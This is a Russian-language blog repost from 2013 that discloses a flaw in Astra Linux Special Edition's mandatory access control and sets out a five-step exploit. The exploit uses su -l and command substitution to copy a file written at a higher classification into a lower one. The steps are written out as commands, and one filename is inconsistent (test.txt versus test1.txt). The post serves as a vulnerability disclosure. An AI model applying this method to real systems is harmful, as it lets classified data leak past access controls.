6‎ > ‎

h

Критическая уязвимость в Astra Linux

  • Jun. 28th, 2013 at 11:38 AM

Есть такой дистрибутив линукса Astra Linux Special Edition, который сертифицирован МО РФ, ФСТЕК. И который создается в лучших традициях линуксоидов, виндовых программистов решивших писать под линукс, как под виндовс, ну и специфических реалиях российской оборонки. Понятно что из этого всего что-то нормальное не могло получится. В итоге сделали кучу костылей, вместо того, чтобы доделать уже существующие и надежно работающие решения. В итоге был найден эксплойт для получения доступа к данным различного уровня доступа.

Под катом репост оригинала:

Описание уязвимости

Критическая уязвимость в Astra Linux позволяет пользователю изменять категории мандатного доступа, понижая степень секретности и класс для сведений. Одной из причин описанной проблемы является закрытость проекта и построение велосипедов вместо использования значительно более проверенных и протестированных решений, таких, как SELinux. Для мандатного контроля доступа в Astra Linux используются следующие компоненты: модуль ядра parsecfs, реализующий монтирование файловых систем, видимых пользователям с одинаковым уровнем доступа, аудит действий пользователя и мандатный контроль доступа, юзерспейсный сервис для настройки ядерной части и модули PAM для аутентификации и авторизации пользователей. Идеологически модель, используемая в Astra Linux напоминает модель модель Белла-Лападулы, реализованную в Multi-level security политике SELinux, но имеет одно отличие: пользователю разрешено выбирать при входе в систему, с каким классом и уровнем сведений он желает работать. При обычной работе пользователь даже не видит документы, имеющие другой класс, так как содержимое его домашнего каталога фактически “монтируется” заново при каждом входе в систему. При этом, пользователю по умолчанию разрешено выполнять команду su, причём эта команда, помимо ID пользователя, изменяет и его мандатную метку, а опция -l “перемонтирует” и его домашний каталог.

Эксплоит

1) Создаём юзера, указав ему минимальный уровень доступа 0, а максимальный 1:

level2:0:0:1:0

2) Логинимся от секретного пользователя.

Astra Linux SE 1.3 (smolensk)

tty1

astra login: level2

Secret level [1]: 1

3) Создаём файл с секретными данными

level2@astra~$ echo “secret message” >test.txt

4) Повышаем привиллегии, открываем файл на чтение в старой сессии и скармливаем в новую

level2@astra~$ su -l level2 -c “echo `cat test1.txt` > secret.txt”

5) Проверяем результат, заходим с другим уровнем доступа:

Astra Linux SE 1.3 (smolensk)

tty1

astra login: level2

Secret level [1]: 0

level2@astra~$ cat secret.txt

secret message

Аналогичным образом возможен перенос документов между категориями и различными пользователями. Резюмируя вышесказанное, критическая уязвимость в Astra Linux несёт серьёзную угрозу безопасности органов государственной власти.

#auto

Subpages (6): 3 8 b g t v
Comments